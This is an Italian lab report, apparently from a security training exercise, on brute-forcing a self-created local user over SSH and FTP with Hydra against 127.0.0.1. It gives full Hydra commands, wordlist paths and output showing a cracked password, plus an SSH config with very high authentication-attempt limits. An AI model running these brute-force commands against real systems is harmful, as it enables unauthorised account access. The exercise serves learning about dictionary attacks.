

Attacco brute force su user specifico

Sommario

I	SCOPO DEL PROGETTO	2
2	SVOLGIMENTO	2
2.1	SCELTA DEL TAGET	2
2.2	SCELTA DEL SERVIZIO.....	2
2.2.1	SSH.....	2
2.2.2	FTP.....	3
3	CONCLUSIONI.....	3
4	EXTRA.....	4

1 Scopo del progetto

Il progetto prevede l'attacco con il software Hydra verso uno specifico utente utilizzando diversi servizi.

Nella nostra prova abbiamo usato ssh e ftp.

2 Svolgimento

2.1 Scelta del target

Procediamo alla creazione dell'utente target all'interno della nostra macchina Kali.

```
kali:x:1000:1000:kali,,,:/home/kali:/usr/bin/zsh
davfs2:x:119:124::/var/cache/davfs2:/usr/sbin/nologin
dhcpcd:x:972:972:DHCP Client Daemon:/var/lib/dhcpcd:/sbin/nologin
guest_user:x:1001:1001::,/home/guest_user:/bin/bash
test_user:x:1002:1002::,/home/test_user:/bin/bash
ftp:x:120:125:ftp daemon:/srv/ftp:/usr/sbin/nologin
```

(kali@kali)-[~]

\$

In questo caso ho creato 2 utenti, guest_user e test_user.

2.2 Scelta del servizio

2.2.1 SSH

Decidiamo di iniziare con il servizio SSH, installiamo, abilitiamo il protocollo di comunicazione e ne testiamo la corretta configurazione

```
Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 100000
#MaxSessions 100000
```

Verifichiamo che il servizio insista sulla porta 22 e avviamo il servizio.

Iniziamo con la prima libreria di password a forzare l'accesso verso il target

```
(kali@kali)-[~]
$ hydra -l guest_user -P /usr/share/wordlists/seclists/Passwords/Honeypot-Captures/multiplesources-passwords-fabian-fingerle.de.txt 127.0.0.1 -t16 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 12:56:29
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 105096 login tries (l:1/p:105096), ~6569 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 12:57:06
```

Ora proviamo con una seconda libreria

```
(kali@kali)-[~]
$ hydra -l guest_user -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt 127.0.0.1 -t4 ssh -vsc
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 14:30:40
[DATA] max 4 tasks per 1 server, overall 4 tasks, 500 login tries (l:1/p:500), ~125 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://guest_user@127.0.0.1:22
[INFO] Successful, password authentication is supported by ssh://127.0.0.1:22
[22][ssh] host: 127.0.0.1 login: guest_user password: admin
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 14:30:44
```

La seconda libreria ha individuato la password.

2.2.2 FTP

Ora riproviamo ad attaccare la macchina usando il protocollo ftp

```
(kali@kali)-[~]
$ hydra -l guest_user -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt ftp://127.0.0.1 -t4 -vsc
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 14:38:46
[DATA] max 4 tasks per 1 server, overall 4 tasks, 500 login tries (l:1/p:500), ~125 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[21][ftp] host: 127.0.0.1 login: guest_user password: admin
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 14:38:50
```

3 Conclusioni

Gli attacchi di questo tipo sono abbastanza obsoleti e un efficace IPS blocca l'attaccante, però è stata una esercitazione efficace per capire il concetto di attacchi con dizionari.

4 Extra

Nel pomeriggio, con il lavoro di squadra insieme a Riccardo, Lorenzo e Giuseppe siamo riusciti a trovare un modo per entrare nel root della blackbox.